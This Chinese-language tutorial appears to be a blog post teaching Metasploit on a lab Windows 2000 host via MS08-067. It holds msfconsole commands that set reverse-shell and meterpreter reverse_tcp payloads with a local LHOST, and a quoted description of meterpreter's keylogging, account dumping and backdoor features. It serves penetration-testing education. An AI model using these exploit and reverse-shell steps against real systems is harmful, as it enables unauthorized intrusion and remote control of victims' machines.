本文包括使用Metasploit端口扫描，操作系统探测，漏洞检测，漏洞利用，开启后门的介绍
参考资料：BackTrack 4 Assuring Security by Penetration Testing
关于Metasploit的介绍我就不多说了，用百度搜索一下有很多
示范的漏洞是MS08-067,是一个比较老的漏洞了，系统也很老——Windows 2000 AdvancedSever。本文主要目的是为了介绍Metasploit的使用，MS08-067是一个比较容易成功的实例，所以就选择这个了。

成功获得shell！哈哈！！！
###########################使用Reverse Shell方式#####################
大家知道如果攻击者与被攻击之间有防火墙的话，防火墙会检测TCP连接状态，正向连接可能不会成功。防火墙不能阻止我们攻击的脚步，因为我们还有反向连接
这次我们使用Reverse shell，
msf exploit(ms08_067_netapi) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > set LHOST 192.168.200.148

同样成功获得shell，哈哈
我们可以看到，设置Reverse Shell并不是很复杂，和bind shell相比只需要多设置一个本地地址LHOST就可以了
######################功能强大的meterpreter##########################
下面介绍的是Meterpreter
A meterpreter is an advanced, stealthy, multifaceted, and dynamically extensible
payload which operates by injecting reflective DLL into a target memory. Scripts
and plugins can be dynamically loaded at runtime for the purpose of extending
the post-exploitation activity. This includes privilege escalation, dumping system
accounts, keylogging, persistent backdoor service, enabling remote desktop, and
many other extensions. Moreover, the whole communication of the meterpreter shell
is encrypted by default.
英文我就不翻译了，不献丑了。总而言之，言而总之，meterpreter是一个很强大的工具。
我们把payload设置为meterpreter
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show options

通过show options获得信息可以看到，需要设置的参数和Reverse_Shell没有什么区别（注意这里RHOST和LHOST参数是使用以前的，没有再设置）
但是meterpreter要比Shell功能强大多了
